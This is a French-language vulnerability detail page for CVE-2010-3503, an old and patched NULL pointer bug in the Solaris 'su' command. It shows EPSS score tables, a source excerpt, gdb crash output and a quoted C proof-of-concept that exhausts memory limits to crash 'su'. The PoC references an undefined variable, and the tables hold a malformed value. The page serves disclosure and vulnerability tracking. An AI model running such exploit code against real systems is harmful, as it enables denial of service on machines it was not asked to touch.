CVE-2010-3503 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.73%	–	–
2022-02-13	–	–	1.73%	–	–
2022-04-03	–	–	1.73%	–	–
2022-06-19	–	–	1.73%	–	–
2022-10-30	–	–	1.73%	–	–
2022-11-20	–	–	1.73%	–	–
2022-11-27	–	–	1.73%	–	–
2023-01-01	–	–	1.73%	–	–
2023-01-15	–	–	1.73%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-12-22	–	–	–	0.18%	–
2025-03-02	–	–	–	0.18%	–
2025-01-19	–	–	–	0.18%	–
2025-03-09	–	–	–	0.18%	–
2025-03-18	–	–	–	–	0.89%
2025-03-30	–	–	–	–	0.78%
2025-04-15	–	–	–	–	0.78%
2025-04-15	–	–	–	–	0.78,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	53%
2022-02-13	54%
2022-04-03	74%
2022-06-19	75%
2022-10-30	76%
2022-11-20	75%
2022-11-27	76%
2023-01-01	75%
2023-01-15	76%
2023-03-12	–
2024-06-02	–
2024-12-22	55%
2025-03-02	56%
2025-01-19	55%
2025-03-09	56%
2025-03-18	74%
2025-03-30	71%
2025-04-15	72%
2025-04-15	72%

From http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/cmd/su/su.c 521 for (j = 0; initenv[j] != 0; j++) { [1] 522 if (initvar = getenv(initenv[j])) { [2] ... 535 } else { 536 var = (char *) 537 malloc(strlen(initenv[j]) [3] 538 + strlen(initvar) 539 + 2); 540 (void) strcpy(var, initenv[j]); [4] 'su' when creating new environment from inherited environment inherits values defined such as LC_ALL and TZ, the call at [1] walks over an array of values to inherit and then at [2] when it finds one it does some checks if its not TZ= e.g. LC_ALL it passes the variable into a controllable malloc() [3] WITH NO CHECKING ON RETURNED VALUE, this means if malloc() fails it could return 0x0 and pass to strcpy() at [4] introducing a null ptr vulnerability in 'su'. Program terminated with signal 11, Segmentation fault. #0 0xd1244734 in ?? () (gdb) x/i $pc 0xd1244734: mov %eax,(%edi) (gdb) i r $eax eax 0x415f434c 1096762188 <- OUR STRING (gdb) i r $edi edi 0x0 0 <- NULL PTR Incurred fault #6, FLTBOUNDS %pc = 0xD1244734 siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000 Received signal #11, SIGSEGV [default] siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000 ----[ PoC trigger 'su' as you. /* Sun Solaris <= 10 'su' NULL pointer exploit =========================================== because these are so 2009 now. I would exploit this but my name is not spender or raptor. Sun do not check a call to malloc() when handling environment variables in 'su' code. They also don't check passwords when using telnet so who cares? You have to enter your local user pass to see this bug. Enjoy! admin@sundevil:~/suid$ ./x [ SunOS 5.11 'su' null ptr PoC Password: Segmentation Fault -- prdelka */ #include <stdio.h> #include <stdlib.h> #include <sys/resource.h> #include <sys/fcntl.h> #include <sys/types.h> #include <sys/mman.h> struct { rlim_t rlim_cur; /* current (soft) limit */ rlim_t rlim_max; /* hard limit */ } rlimit; int main(int argc,char *argv[]){ int fd; struct rlimit* rlp = malloc(sizeof(rlimit)); getrlimit(RLIMIT_DATA,rlp); char* buf1 = malloc(300000); memset(buf1,'A',300000); long buf2 = (long)buf1 + 299999; memset((char*)buf2,0,1); memcpy(buf1,"LC_ALL=",7); rlp->rlim_cur = 16400; setrlimit(RLIMIT_DATA,rlp); char* env[] = {buf1,file,NULL}; char* args[] = {"su","-",getlogin(),NULL}; printf("[ SunOS 5.11 'su' null ptr PoC\n"); execve("/usr/bin/su",args,env); } // This was disclosed and patched in October 2010, CVE-2010-3503